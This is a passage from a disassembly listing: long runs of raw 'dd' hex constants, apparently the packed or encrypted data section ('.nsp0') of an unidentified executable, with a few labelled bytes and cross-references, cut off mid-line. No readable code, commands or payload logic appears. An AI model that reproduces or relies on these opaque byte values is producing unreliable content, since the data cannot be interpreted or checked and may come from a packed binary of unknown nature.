2DB33BBAh dd 0F10F7A66h, 0E8DF339Eh, 4426F9A9h, 595952ECh, 40CC51DFh dd 3F9DE063h, 8CEA2FE5h, 38A8524Dh, 0FB8C5303h, 2167C5CAh dd 0A2F6D3FDh, 0AED2F1DBh, 803ECE7Fh, 9507F191h, 80166D4Ah dd 43583D31h, 0EC7DB098h, 8730E88Dh, 0E5CB3CCFh, 20B2580h dd 2E75A1D0h, 16A7DECFh, 3BB712D7h, 1E36B91Ch, 81F49FFFh dd 0A93172A5h, 0AA74F351h, 9CCDB70Bh, 0DC543FEBh, 0D6B7860Eh dd 33DDE76Eh, 0BACC1CE9h, 3EBB1FF5h, 956D6139h, 0E7297049h dd 6B389492h, 780410BDh, 53D151D5h, 9BE87633h, 41BB205Ah dd 9ADA5CD1h, 5671E42Fh, 3C995D36h, 0EDDB3808h, 3115EB5Ah dd 3E8F14E6h, 77761C11h, 0FA27ABDEh, 4EBC7B12h, 2E04E2D3h dd 0DFA9A5EFh, 9193EA09h, 0C55A37Eh, 2A0AABDFh, 0AA8E9AA7h dd 2A4052E6h, 0CDBFBD5Dh, 0E8DC4530h, 0D2C5754Dh, 0DE51E8E5h dd 0FDA4EBCAh, 0D5FED2BCh, 0AA55655Bh, 0F30AD8CAh, 83077DB4h dd 0ECDA6AB0h, 0F29D4B21h, 0A18DD15Dh, 351C86A2h, 6965ED3Dh dd 0B0DD7B2Bh, 0C24544D3h, 0B2949DA7h, 80BCB0C7h, 0F2F59E19h dd 380E0BAh, 0F8636EF0h, 0E9EAE92Fh, 5DFCB725h, 23BE957Ch dd 0A19C776Ah, 271FC9C2h, 7F567ACDh, 0EF9BEF26h, 7C9B6DDh dd 9A678673h, 30BEB1D8h, 7D873A5Bh, 0C11D082Dh, 689443B1h dd 8C65B085h, 0A2859CC1h, 32EA48AAh, 81346511h, 42400016h dd 0FAACF2BCh, 0D195CB81h, 75A64AE0h, 8B3D4D6Ch, 0CA3F54B9h dd 127DE36Eh, 0CD2E5172h, 0B3FF1D7Ah, 0B5FAF771h, 38D18FFBh dd 13C2CCF6h, 0D85A7232h, 0D0E3638h, 8D6CE668h, 0C325B3E0h dd 0B272EAACh, 0B9B88346h, 9BE45AFDh, 8854E3ADh, 0C176CE1Ch dd 1B4559F2h, 0BAAF7717h, 0AFD32E7h, 1F824F13h, 2D69AE8Fh dd 45961CBFh, 59552D5Dh, 4BBD724Bh, 77E8C4DDh, 6300701Eh dd 41BD1BEAh, 34E481B2h, 40CFCDA6h, 5E95AD38h, 7D6DE243h dd 0AFB0CD05h, 4028224Eh, 0E3E5B2E6h, 660E4F99h, 0F51CCFC3h dd 0F1C8F008h, 0EA709D62h, 68306C33h, 4FA88F13h, 0AB9EF3A6h dd 0EF99F3E9h, 514D0B35h, 62E12131h, 0F53CF18Ch, 65AB6118h dd 395CE577h, 0A8A93CD7h dd 0D85E9CE2h, 6C95934Ah, 0E1A85D1Ch, 3171E8DEh, 0A1A52C39h dd 2AFB178Eh, 8EDDDEE4h, 9767D0B2h, 47E1F7BCh, 1090C6D8h dd 4617CE6h, 983E549Dh, 819E2E78h, 0E576A497h, 9284D895h dd 0F38D374h, 38410716h, 0A1873761h, 924A1236h, 68874D71h dd 4C7F71DAh, 0B5818EF0h, 1EB17EA5h, 6E948E97h, 0B6FB228Bh dd 0DE890C98h, 8D42C24Bh, 0F41793D5h, 0C04C9DEAh, 0A5BD9CE8h dd 17BD9E01h, 34D8AC98h, 54CD4439h, 9FD1D2F3h, 88D2AE34h dd 6C248ECCh, 5A7EC7A1h, 8C1D3DD1h, 361F3059h, 9C4CF240h dd 912C6E2h, 573AB67Ch, 9164A2D4h, 0E73181F9h, 0B4B0342h dd 0AB88497Eh, 0AD6D488Fh, 298F5202h, 0F45F5765h, 94E3E2B1h dd 8686D8F4h, 0C1FDF182h, 40CDC604h, 7BF7E3CCh, 13DF6ECCh dd 0CA495A6Fh, 0C6393206h, 0EE468AF2h, 0F4FEBF25h, 73D80D84h dd 1CC5F1B1h, 413D241Bh, 2EE93DAFh, 911110E3h, 3720589Ah dd 7B1AC408h, 9C7222CDh, 4397E345h, 0FD3B8346h, 72BD7F74h dd 0EC13A088h, 4B1CA91Eh, 301FAC10h, 4883ED5Fh, 4F35F573h dd 343E2927h, 13DBFDC7h, 0DF423AFFh, 4BFDE01Dh, 0A69CA427h dd 1CE8C600h, 88D08917h, 8B263FB7h, 0F3011EA8h, 0D989CFAAh dd 907C6008h, 0B6D0CDF1h, 5798B8B7h, 0ECCDC77h, 37F6719Eh dd 0BC12B950h, 0C3F8BD5h, 0E3E2E70Bh, 994D9E19h, 56B2C576h dd 9E97F307h, 950F19DBh, 0F5602661h, 0A03998F1h, 0F84AF4F8h dd 69EC157h, 2FB29686h, 9D2343CDh, 0DA54FBBFh, 388E8ADBh dd 5D6D68C8h, 0F3B0B9EBh, 4B575BF1h, 2764A585h, 7E8382F5h dd 0BFA48338h, 0A9E1C91Ah, 0A99A0BEEh, 7A5E5DBh, 0D12536A9h dd 4C068B5Fh, 1723AADDh, 7B508663h, 0E4E84461h, 0E0A2C4FCh dd 0AB3467D0h, 4DD694A6h, 2BDE59EDh, 18C60D78h, 575D4F9Eh dd 21A8D33Ch, 5D57210Dh, 8C76C938h, 36822BFCh, 7DEE0A31h dd 8DB8B65Fh, 0DBA9216h, 1D430D91h, 0EFBB80A1h, 7DB66F2Dh dd 7359CF8Ch, 0D1961651h, 1B4E86A5h, 12E9330Bh, 9A9E8B19h dd 6B298403h, 0EF53F06h, 61EB906h, 5022083Ch, 0FA02B734h dd 4170F774h, 1F091F05h, 0ADBA6BF0h, 0CCC78930h, 2E485F7Dh dd 6A9202DBh, 44B3703Dh, 2F7C92A4h, 855713C8h, 22419102h dd 0DB8F7A54h, 0C1290ADFh, 0C4579DB7h, 0EC5264D8h, 2814951Fh dd 3B0E5A33h, 73E3FF91h, 0A6EDF898h, 0E1C8F045h, 21864A08h dd 51016E31h, 0ADA645B3h, 0A1B0DB95h, 5552F758h, 18A98FB7h dd 315C92D8h, 0B4C590FFh, 687AED98h, 11287C12h, 0B9AFF693h dd 0F8DFFAFCh, 0E254E8E7h, 59527F90h, 8B57DB4Fh, 0AF51868Ch dd 6C6C649h, 9FD4816Bh, 0A701F096h, 42616971h, 6FD1C062h dd 65160DC4h, 64F9C335h, 936DA02Ch, 456A750Eh, 0F4305CFh dd 0C54E2D25h, 0F1ED042Fh, 2F656159h, 0D07968A5h, 0A094BCCFh dd 6B2FFD93h, 1023F3DDh, 5728F2F5h, 0A43321AEh, 4AE136Ch dd 68C12813h, 19328070h, 9778314Bh, 6CBE0919h, 722F5378h dd 0F131A7DBh, 0EAE49070h, 0BAC8DF61h, 0B2F6BB30h, 82B56982h dd 0B98BE6D7h, 4697BEBEh, 34EDA79Dh, 0F5BDC88Fh, 0C23CD589h dd 7D830367h, 0E457E00Eh, 0DA485660h, 0E37CB5F7h, 83F9D511h dd 0CEAF1130h, 3B3ADF9Ah, 1F7F0B1Ch, 3DC366F3h, 0B1FEECDDh dd 0F00D0747h, 353B03A0h, 75014336h, 0B747813Fh, 542F6F5Ch dd 90678825h, 3331045Fh, 6E3095A6h, 0DD4FAC21h, 3B7199C3h dd 0B79D4E59h, 3C4F644Ch, 443BA9C0h, 917707A0h, 832E8CE4h dd 4347EA6Fh, 4617F874h, 27C23C2h, 5B20E2D9h, 70476067h dd 0E0781891h, 210A673Ah, 0AC2CB62Fh, 0D41A0906h, 0B3B6850Eh dd 485E0964h, 0AAECD51Ah, 0A44F80C0h, 1DF494D2h, 315F4C5Eh dd 0F3338C3Eh, 0A552B7DFh, 4847BF1h, 0B7840807h, 0E3F819B7h dd 0AC3FAF1h, 4A02BDD7h, 0B1E33556h, 46136A84h, 41316A1h dd 595310B6h, 0FBBCCE41h, 54101C79h, 0A6B31BCAh, 61853615h dd 0A574EB05h, 33A4362h, 8E085EC7h, 0B0807B17h, 79812E69h dd 0F5CBA93Eh, 0B44C737h, 0BE3FB114h, 0CD3B3367h, 8BC98473h dd 0BAAF301Eh, 0C783ABB0h, 0C39E3DE1h, 4A45F32Ah, 79A2AB56h dd 61E1BDE2h, 2F45CD74h, 8605F2CCh, 69662ED7h, 4F7DC3Ch dd 0F4C9D0B1h, 0E60DD61h, 0DCA4E7Ah, 769B2DBCh, 0B47A2863h dd 0E57F2CB9h, 0F5270E10h, 281D903Eh, 6585CB67h, 79B9B691h dd 6F099D97h, 2AA5833Fh, 9234A5Fh, 7708A6Dh, 377111DCh dd 0CF0DE851h, 8BD4A2C6h, 51196B74h, 0D0F76C83h, 12110D06h dd 8BBC34F1h, 0C4F75CE2h, 16C89562h, 0DA5C0D9Ch, 0FBAA26A8h dd 8E0C15FEh, 4567E891h, 81A04934h, 6D896A0Eh, 0DA495E94h dd 71032AD6h, 0F1589258h, 0E9A85098h, 44B9D971h, 0DE18978Ah dd 67D9E89Eh, 14CA34CDh, 0D84838CAh, 8AC81384h, 0B995D47h dd 0E8D3115Bh, 36BB4630h, 894FBA85h, 189A2BCDh, 5125107Fh dd 55792736h, 99595CBDh, 0E510FA59h, 49D73CA7h, 2EEF79B3h dd 6C93F1B9h, 7A555162h, 5F36C6C3h, 0BCFB2AEFh, 0D08DCAD3h dd 21955605h, 0EEE84332h, 9555EB10h, 3E3DB8Eh, 56B5226h dd 0BCA2B860h, 29BE3CE5h, 57CF8F90h, 0DE2531E0h, 0DF28B11Fh dd 180C949h, 0A4249E42h, 30956025h, 2597EFAEh, 71DF5207h dd 0BE9DB27Ah, 0F1124ACDh, 3770BF2Dh, 0A04E4F54h, 43879457h dd 0A0853E1Fh, 0ABC06166h, 2DC457CFh, 62C96C08h, 0A43367E2h dd 19338598h, 78DC057Bh, 0DB5BDB1h, 0B7C354EAh, 30BA05F7h dd 0A31CC121h, 4063B60Fh, 85ACCE09h, 0D19E0D43h, 170E05EEh dd 0A039411Dh, 48CA08C4h, 2186F55Ch, 5759148Bh, 0F8A809BCh dd 0F30558D8h, 1B5137EEh, 8F54CDCAh, 0F06E36DCh, 0FF2454Eh dd 0A4A74FBAh, 1A1ED860h, 0C5093A94h, 853E75BBh, 6F1505E4h dd 37C9D166h, 0DDF85F01h, 35D41EC8h, 80741F68h, 0C39D0746h dd 0D2EB0605h, 0D3FC3AC7h, 72AA96F1h, 9127EBE6h, 3F2919B8h dd 52361288h, 0E13A53AAh, 85FCC9E3h, 0FA119376h, 3BB73CC9h dd 0B96F2128h, 42EC8732h, 0D3FB6310h, 691CEC92h, 6729082Ah dd 4B13D4A6h, 89FB6D99h, 63244660h, 2BD458F9h, 0A5691979h dd 9DA6E261h, 0AB6F8D8Ch, 0FAF75E8Fh, 795465C5h, 0CDF258DAh dd 0FE5AFA75h, 0FDD0ABD8h, 35DB3BA7h, 0C888B72Dh, 1BC2799Bh dd 0E3FE63C7h, 32FDB642h, 4D04CFE5h, 0A6DF875h, 6343E8A7h dd 115BBE8Fh, 2A94618Dh, 0C2443E32h, 9527302Eh, 0CD7FB23Ah dd 36270CB6h, 39762D7h, 0F91D98FAh, 1F46163Eh, 1FD53363h dd 649266EDh, 9A4BDA0Bh, 2B48A417h, 0CA21D7h, 2985A19Bh dd 0A1BB7123h, 0EFFD4B9Dh, 9C734A6Ch, 31CC23D8h, 0A6BF0525h dd 0CFFA65F6h, 0EF234B58h, 60321484h, 0AC6BADF5h, 2561456Fh dd 139BA018h, 4E4AE23Ch, 5FD1C6Bh, 63266018h, 888F650Ah dd 0C4685DE2h, 31A8F24Dh, 1C304F35h, 0AFD0D1A9h, 80B8E5D0h dd 7BEF77Ch, 0B0919F0Ah, 6152D91Ah, 55524B59h, 0C016B052h dd 0D5E3DDAh, 0F65E5A6Bh, 4E10D7Bh, 9DA74FB1h, 0D54554F5h dd 6CFFA446h, 0F665DC2Bh, 0F25E6CC8h, 9117A79Ah, 0D9E793EEh dd 0ACA6FF77h, 0D521A2BDh, 0E251D50h, 0E705E15Ah, 657AA854h dd 0F45ABFD4h, 0EF8B2980h, 807A3BA0h, 3E386367h, 46A4F7BAh dd 6A47B969h, 9DF484E9h, 0DE61C733h, 13BFF7FAh, 0A4B7319Eh dd 0FE8F74BFh, 0ACCEDDF9h, 6F329913h, 0EDECB7C0h, 66558A8Eh dd 49A9283Eh, 472DAA66h, 35051408h, 2AB4AEA4h, 0E66A2831h dd 0CC2199BEh, 0F028541h dd 0E97D26DFh, 19D1FC8Dh, 14935D98h, 630473B7h, 9B642395h dd 73E313B8h, 4EA1ACDDh, 593EB5A1h, 385BC040h, 0ACC86275h dd 9CF6BF1Fh, 984AAB6Fh, 437AE239h, 0F21F494Fh, 0A6606848h dd 0CF2FFE28h, 0A85F1AEEh, 0CA750D14h, 8BCE7628h, 0B59EF602h dd 0A15F401Dh, 50D38AF8h, 32EA16F2h, 0E985CBFBh, 56ACF398h dd 4C40DA59h, 753EB07Ah, 0D0EB8EC9h, 0D3FAB987h, 3842B6DFh dd 0BAEEDC0Bh, 742442B9h, 5B5DE1A4h, 7EF57B37h, 54C2E7Fh dd 41563770h, 0EE3B217Ah, 356A6A7Fh, 7E462DF5h, 75A769C1h dd 0A83994F1h, 0D3514853h, 2236321Fh, 0CC587E23h, 0DDE63C24h dd 0E2FC8193h, 0A0ADAC09h, 0F78ECCE1h, 6AA8D739h, 648F2C8Ch dd 0C2D94865h, 82765402h, 0BD625F9Fh, 4D62F970h, 5FF5F4Ah dd 0F4AD8D77h, 925CC713h, 0CA091824h, 9E65C2D3h, 0E258A754h dd 0DF2BC7B8h, 3A462465h, 0AE56AD30h, 1639C0A7h, 6F652EEAh dd 1A1B59B9h, 815B9D94h, 477B0D27h, 0E9308FCEh, 90FE5E39h dd 0DB0F92F5h, 749BC7Dh, 0C9A564FDh, 0A9373F6Ah, 0C2EDD52Ch dd 0A9E31635h, 8C2C37D5h, 0C75754Bh, 3D3A089Ah, 0CB2B8960h dd 0CA994869h, 0EC5F0D1Eh, 1E9B942Ah, 31F0BB26h, 1DDE3A53h dd 52EE29EBh, 0E4130B11h, 7D901E44h, 45735415h, 4350E6A9h dd 45F83A72h, 466ACFE8h, 0CDE2FBD9h, 67DDF211h, 0B69AF6BEh dd 97B0B83Fh, 5A5E5A0Eh, 7BFC2745h, 171D802Eh, 0D62576E3h dd 0F2DA091Eh, 2E4BD43Fh, 1806824Bh, 34F586DFh, 0D652A4CCh dd 16E9D060h, 801B776Dh, 0ED18D9DBh, 0B1821E7Fh, 0FA102512h dd 0E6B54A95h, 4EEE14DFh, 0AD7CAB05h, 0CF6ABB63h, 0FC57895Bh dd 0F8EF4BDDh, 15475954h, 97D31283h, 6C19635Ch, 0E691E2B0h dd 0D10D576Fh, 65867338h, 54BCAA65h, 0B58D5A23h, 7A91BF2Eh dd 0D039331Bh, 2AB9F340h, 0C2F6C90Dh, 9DE0E1BCh, 0B482D0F4h dd 0D372421h, 72D7740h, 48BF4B16h, 96941D38h, 979D9EE6h dd 0E232617Ah, 0EC330FABh, 60E5B09Ah, 2AFEEB0Fh, 2B8ECC99h dd 0CA8C2C8Fh, 0D07B5FDBh, 0BDBCB9BBh, 88E59CDAh, 5AD9A87Bh dd 5822A9ACh, 0E7B659C6h, 680FAC31h, 8115591Fh, 660631F8h dd 4F38A428h, 0C5823636h, 0AD8D539Ah, 0E5CABD19h, 0DE6278Ah dd 0EAA2A17h, 0AF660671h, 5C6E2857h, 862E1E8Eh, 0CB649196h dd 48387AAAh, 812923D6h, 72694B03h, 78591B6Dh, 2618424Bh dd 0F8194F04h, 0A7DB7BC7h, 3DEE8359h, 5857FED2h, 0DB93AA22h dd 388966B9h, 0C66BEE35h, 18CAEFEh, 0DDAB0A1Eh, 0F25F66A9h dd 62E7071Ch, 0EADC7FA5h, 0A51CAC8h, 0E1DBE8E9h, 0B72571AAh dd 134592B7h, 781B5BD9h, 3DAE1772h, 2A3D7082h, 0D9BB8450h dd 3DE6D321h, 27201098h, 0D26F86Fh, 80354BAh, 6C3A6FE3h dd 0B7488729h, 0FB8665ABh, 0C1E3B80Fh, 99AA1F8Ah, 1D62388h dd 7AC2FE5Dh, 188E55FCh, 7809AB3Eh, 0F54552Ch, 65E7D6CAh dd 407414A3h, 5A264F52h, 0FCAA5639h, 0D187F6FDh, 4DCAC838h dd 196C38D9h, 648C2B03h, 0DD4D2183h, 7F2F12E3h, 9FA31316h dd 868795EAh, 564201D8h, 8C6F0441h, 8809CE49h, 47E24F7Ch dd 41C57EFh, 51A587C4h, 47622BF3h, 4C2E3D90h, 35CA405Eh dd 0BCD9A5EBh, 8787D054h, 0A75E5653h, 0F0F11F04h, 6E386BD4h dd 411A3294h, 540493A1h, 0FB36E7C4h, 0B36D868Ch, 7C57A73Fh dd 82ACB04Bh, 0A714304Dh, 82E823E3h, 9D3FFA5Ch, 2FF53358h dd 95834DBFh, 4ABE5DB2h, 0DE32878Ah, 9AA32D02h, 26E03A63h dd 383A919Eh, 7FFDB1Ah, 9BACE680h, 42ADA704h, 8A7F56A3h dd 9D8ADA92h, 6E2887FCh, 0A9D1D4E6h, 9B5B87AFh, 0B67CE50Ah dd 986C420Ch, 9CE83957h, 336CD7C0h, 0FD54A0EAh, 0BE9A55BBh dd 0FA00D91Bh, 7362D02Bh, 0FBF421DFh, 27EDC3F8h, 1021EB30h dd 2EC8633Bh, 280044FEh, 58A26867h, 2E497FE7h, 4CDCB319h dd 6EA5A72Fh, 0D7B7C007h, 77C0FEF8h, 5D5AF706h, 33BA75BEh dd 2B6FCCF6h, 9E0401F9h, 6397D5FBh, 5E14C253h, 0AB42B019h dd 62E63EA9h, 0ABFDC64Bh, 17860660h, 6925FC6Eh, 9B37BB3Ah dd 0D79389A8h, 1CCA35C8h, 30A116Dh, 2EBC105Ah, 0FDA06825h dd 52FAE5FBh, 5AA5A907h, 94622316h, 942E0281h, 6041B483h dd 0C3767768h, 1AFEB7F9h, 4B1E4011h, 7A724E27h, 0E28EBF82h dd 2316E774h, 213EF785h, 0C78182Ah, 0CD6F8CD8h, 7549C782h dd 3047C227h, 0D70416EAh, 0A77F6C09h, 0B4F15082h, 689230FEh dd 0F4149E4Eh, 9EDA7730h, 0E6F7EEA9h, 311B8DF0h, 0F8FD31C7h dd 0E846B176h, 4F9A8A23h, 32B82D0h, 736E6DF5h, 143DED77h dd 0CA473C41h, 0BB0E1E0Bh, 0D87167A9h, 0C7F7E283h, 47D7C6F5h dd 63314B12h, 0B493FE35h, 3FBF9052h, 0EEAB81EDh, 0FB470041h dd 0BB76BF7Bh, 0D62D11EDh, 0FD86043Eh, 112EE445h, 0E04E0CCCh dd 905A8E14h, 0E18F3B6Fh, 4B231540h, 0E395CDAAh, 40472114h dd 20BF0C6Dh, 631F7212h, 22AB40CDh, 2E9C5140h, 585AE55Ch dd 21655543h, 60BFA0A3h, 0CC1E1A17h, 464F4D9Fh, 6CD161E5h dd 221E87F3h, 5C2CFE85h, 0F2B5AECFh, 0CE640FEBh, 0D1DAD95h dd 511B8F6Fh, 0A91CF07Fh, 740068D5h, 0D38EA0A3h, 0DDE6D94Fh dd 0FA285743h, 5FC0B51Dh, 7D46F909h, 0FF816453h, 7FA5C53Dh dd 0A7FC01E4h, 150251A5h, 692C444Bh, 0D6653872h, 0D8AD0B16h dd 0A9108A3Ch, 7E84BFAEh, 0D5C9D0FEh, 79387636h, 2B90966Ah dd 0FA987442h, 2EEC0534h, 73EF7EF2h, 0EF920A05h, 0EA2EEDFAh dd 9749F3C5h, 0FC51475Fh, 192293F3h, 9B17E079h, 3462843Fh dd 501B282Dh, 8F760F0Bh, 6BB3335Ah, 58AF8CB1h, 0A7A5FA62h dd 642AE618h, 0DD610133h, 24571392h, 0EA4B0D81h, 9FA593D6h dd 7D41343Ch, 293AF773h, 74FFF9E9h, 37DF4BEEh, 1B1CA5Fh dd 0F2892597h, 8827862h, 9F2AE80Dh, 0EBD853D2h, 5404EA7h dd 0FC6DDC63h, 0EBF30EFBh, 0A8FC9813h, 0FC416318h, 32517ACBh dd 51BC561Eh, 65CC6CC2h, 471D99B2h, 0B5444E8Ch, 0A316622h dd 0CD6BA598h, 3A05508Ch, 7E36D377h, 4F2E5C3Bh, 0C7D45C96h dd 3ABC5BC9h, 2C97B97Dh, 0FA509B84h, 13F5C3E7h, 43A2FFEh dd 247261E0h, 0F44AC32Bh, 0C5F9BC81h, 7A9C8B76h, 76FC2DE4h dd 870FE06Bh, 0A52E67DAh, 2EA8CC3Eh, 9F08F0D3h, 426F3BAAh dd 80024332h, 790DA5F1h, 0E80EADBBh, 4EA0C9CDh, 0F5907D8Ch dd 0A446CD1Bh, 0C5F4B71Eh, 43048284h, 0F2AB9878h, 0A92BE50Fh dd 987C1F56h, 0CF95FF83h, 1137AF52h, 0AE0897B9h, 15B98895h dd 23BBFC5Fh, 6F47A61Ch, 7C4A5A06h, 0A04D1A90h, 1B3C9FFFh dd 8E737E57h, 0B908471Dh, 4CC99F27h, 2D61398Dh, 0D0BC269h dd 0AFE9F63h, 0E6239CADh, 5637D92Eh, 1FDD443Ch, 899E128Eh dd 2BD5B32h, 1545214Ch, 5C94AFE1h, 365401C7h, 0D3EA41C7h dd 0CB30836Ch, 0DB0C9DD1h, 0BCC2F1ADh, 0F276C78Eh, 7A3B66F6h dd 19E9B998h, 345DFE72h, 0F50F815Fh, 7B038470h, 0B7D69B6Ah dd 2E3D97F0h, 446E178Ch, 0FC98A32Fh, 51354DBCh, 0F42A41E0h dd 0C8A8D38Ch, 1801238Fh, 81FD0F0Eh, 0E25384ACh, 0FF105DACh dd 64F98B70h, 5477C0DDh, 0EB19B680h, 0E823AD72h, 0EAB05A05h dd 8F6D6ED3h, 0E051ED30h, 0C9573DB1h, 0E5E3CF89h, 0B6C3EDDDh dd 566ADAA1h, 3EFCF6EFh, 8E1D42F8h, 25B88F32h, 9ED56787h dd 6C4E9A09h, 8DA82D99h, 20C35573h, 6B3F319h, 0B0A691D6h dd 42177B47h, 0B79D1E92h, 23AA1283h, 0DB76D313h, 80E642FCh dd 84293F8Ah, 0F3069068h dd 6788A18Ah, 0ABF14BD4h, 26A9D00Fh, 6F514664h, 36E53031h dd 5605D567h, 6B299C0Fh, 3328C488h, 9C535F1h, 62F909D7h dd 76A97869h, 9DF1C91Dh, 86D55DD7h, 0FB14870Bh, 0E2858D87h dd 77DA8273h, 0D1ABC19h, 33F65ACh, 41B11CDDh, 67F2E17Fh dd 6E9000DDh, 79AF7582h, 0F10A5B90h, 25E12DE8h, 44278876h dd 0D6453D2Ch, 0AA87BFAEh, 0FEDDCC1h, 0C493C8F0h, 0C662F5D7h dd 109040A6h, 5A0EFDBFh, 0BBBA3EC4h, 0C8BEC7ADh, 6931AD9Bh dd 904DD3D9h, 0B9F723F6h, 0D1AA9F8Ch, 54FC4B75h, 0F71BE4AFh dd 0EC581F9Bh, 0F1C6E7D1h, 3E66012Bh, 2552CB69h, 0C3BC4218h dd 2B5A0904h, 6EDE4963h, 8E9678E7h, 1BEF88E6h, 7EB7292Ch dd 0FD5D69D5h, 216A557Eh, 5244D465h, 0E2CA89EFh, 0BE6CA1ABh dd 0E8D29178h, 9472D25Ah, 0BD4827D9h, 0EF9B1462h, 0B21B958Fh dd 0C3934ECDh, 0A82143F1h, 16D02409h, 9C7B2857h, 555AF2FFh dd 0AC622140h, 2B980AFFh, 18F3001Fh, 0C3236BE4h, 0B70126FDh dd 300032B1h, 9E4CB40Eh, 0B9C99385h, 0C8735D0h, 61ABF026h dd 0E8FB59Bh, 201C37E5h, 0EFBF3CD0h, 3C4465DDh, 695F4B04h dd 5B59B09Ah, 895D92B6h, 5B795h, 26A16951h, 0E1068569h dd 0E54F82FCh, 0D4E2912Ch, 0E6553A82h, 6AA34B47h, 0DFA57B55h dd 0B519C180h, 0D799B1BEh, 0B15D2F85h, 0FC9B4C12h, 0EF510998h dd 0B45AD29Dh, 1E28A874h, 0E33503C1h, 82F03E4h, 211D4568h dd 2BA425DEh, 0F4E3BBB1h, 0AD66A054h, 9A788867h, 709407EFh dd 514F160Bh, 87938DC8h, 0B9EB0105h, 1E1AA9EBh, 0BE9958A2h dd 1D13D61Bh, 5EF286C6h, 54F32286h, 4982D59h, 0D199C789h dd 5B8A3179h, 0EA560E70h, 94D3C7CBh, 0F0A6EE4Ch, 0C5932127h dd 0C51CF653h, 9DD7510h, 0F2FF113h, 80ACEC83h, 6EEED018h dd 4FAEE323h, 668571A8h, 89CD73D9h, 0B57A9778h, 0CB9262FEh dd 2494EBBAh, 0CE798383h, 2623F8B9h, 386FF85Dh, 40355BE5h dd 45401D93h, 338CD425h, 92E8920Bh, 4A458F57h, 0EDAA708Eh dd 7222DCD6h, 23FED36Fh, 0EF72E30h, 1097FEB4h, 0F0B00000h dd 50125613h, 2892D6Eh, 0BA027F22h, 0EF82C7B0h, 2311FABDh dd 0BF0611B0h, 11EF1E25h, 8869BBC9h, 950BA100h, 78F1871Ah dd 0C1D0CEDAh, 0F320A30Ah, 0DEFD32E3h, 0D987FA1Ch, 0F41BAF1Fh dd 687305DBh, 0F57D1D90h, 37900E54h, 0BC692E19h, 0F92EB3Fh dd 8A93DF9h, 171C0D54h, 4C63A125h, 0BCBCEB7Ah, 0A8E88FFFh dd 0A1D6AABh, 0B346BD39h, 0DD303588h, 0D2E1E0B1h, 0CD7DDEEEh dd 0AD72D7A3h, 3DBDEB90h, 29353F1Eh, 0AE5434A9h, 13B1B32Ch dd 398D6EAEh, 0A08C2A70h, 0C04DBB18h, 0A6677D87h, 3B8CFEA4h dd 0AAE8221Ch, 0B4D02456h, 0F69EF231h, 98E7C8A7h, 36F3D19Ah dd 5530E701h, 5CAFB33Eh, 0E7843CFAh, 4B083D67h, 4B2F916h dd 839E8B18h, 0F38FAE4Eh, 25CBCC13h, 60FA4EECh, 347349F2h dd 30F56502h, 0BCA32C89h, 1F42530Bh, 109ECE78h, 0B098CBF4h dd 60C66664h, 1E63B40Bh, 98412A7Dh, 429EDAAAh, 0C6239859h dd 0D5534293h, 184AFB17h, 751A019Ah, 61E123B5h, 412CCB49h dd 0EF7FB6DFh, 7BA7B812h, 0F72373B6h, 37F22E7Ah, 0C22A579Eh dd 8CE3436Ch, 0A9B60DF6h, 4090C29Eh, 8168C8FAh, 19027BCAh dd 633EBCE1h, 0C649CD76h, 83537017h, 631F58A5h, 24633E23h dd 9CDA08B9h, 0E5AA6C2Ch, 1F5B5BC4h, 0F9945FE0h, 0EB09BFBBh dd 0D32AB76Ah, 6D859B36h, 5C7255FCh, 0CEC78A18h, 0B5EC8BF8h dd 8E4E3CFh, 1A8A35A9h, 75CAD39Fh, 0D228120Ah, 5DD069DFh dd 0F855E74Bh, 0D28FD67Bh, 0B7985BF6h, 4710EA8Fh, 5C1FEA99h dd 1FAF07E9h, 0D04A1FC0h, 32BF6D61h, 0CE32C47Ah, 42A2183Fh db 41h byte_520045 db 65h, 72h, 64h ; DATA XREF: .nsp0:0043FD10o ; .nsp0:0043FD28o dd 5A57C934h db 91h, 0CDh, 0DFh byte_52004F db 0C2h ; DATA XREF: .nsp0:00439349o ; .nsp0:00439B59o dd 0BBEB11DBh, 79BF5E8Ah, 0A37F7B46h, 0F9854863h, 77B4BF5Ch dd 0C569AC88h, 45397A96h, 0DDCAB3DCh, 81B55869h, 9F9C43FEh dd 4611A9B1h, 536BFF90h, 3BB552ECh, 0F2DFC493h, 0A47D757Ch dd 87F0B8ACh, 9EEB30F9h, 4EC1023Bh, 33F0AD07h, 293C7241h dd 31DBE71Bh, 7A33FD14h, 73F46FD4h, 9EDFBDA7h, 0AEE79A99h dd 305111FAh, 303B2216h, 8BFDAE24h, 0F6C584CFh, 6D70129Eh dd 0CC65DE25h, 53278144h, 0E03A87AAh, 0C1AFC7BBh, 0ABC29496h dd 0AEFCC834h, 3871D13Eh, 5BFD198Dh, 0BFD296E6h, 66771E7Fh dd 31EECD55h, 60FF185Ah, 99C38964h, 99BD1D95h, 0B77BF20Bh dd 1729564Bh, 4E25CC6Ch, 2B8A3C41h, 2B22CABCh, 5EB7F8F4h dd 0A03C496Dh, 53C122EEh, 349FD33Ch, 20602785h, 0A76C2284h dd 7A457819h, 422A682Eh, 0B0FAA019h, 607D222Ah, 6468562Ch dd 9DF8DFBFh, 0A08BC849h, 0F2630961h, 8139F4Ch, 0FD271D8h dd 0C46A18A8h, 7FD1A5D6h, 600D6DFAh, 0DEFE0043h, 672058EBh dd 25439736h, 8849F152h, 2CA2183Dh, 9A3BDAFh, 39B87CBh dd 4B261DE9h, 9EB1C9B7h, 7FF529FAh, 2E1FA68Ah, 5926B7BBh dd 0FEF72A20h, 0EC22C572h, 0D3B7ED8Fh, 8A218A77h, 943A40A7h dd 0BE261F01h, 0D85C9198h, 60659E78h, 0F43C7317h, 1A39359Ch dd 701249F9h, 67BF90BEh, 6AD96068h, 0DC2788EBh, 4B96DF6Ah dd 38E426Ah, 5D1F33DAh, 782E54F2h, 0BF5A5B3Bh, 0BAE6DBE7h dd 5FF3FDEDh, 0FCD8C159h, 1BE35429h, 4DFE8EBAh, 0E96B4321h dd 0FFB4BDF4h, 79C30CBBh, 0E67CD0A7h, 2886BDE4h, 3053D02Bh dd 1FCACF88h, 948CB179h, 95CFB7B3h, 73E01180h, 5154E606h dd 0E82F89Bh, 604D3CCAh, 1937471Eh, 0F1700BA1h, 6F9CBAAEh dd 0F1ED0DF2h, 25CC211Dh, 85E94F76h, 0F3E823E4h, 0D7BD9A32h dd 1FCB6F18h, 17FC676Bh, 0CD58EF9Fh, 382B019h, 0D68F1A46h dd 0DFB5A9D2h, 0CA9E5EA5h, 9F500357h, 1CFD9432h, 8FBCAA0Dh dd 0F6F2616Eh, 2BDCD6CEh, 9C5DD97h, 4F3AE427h, 0E056E1D0h dd 0C832A605h, 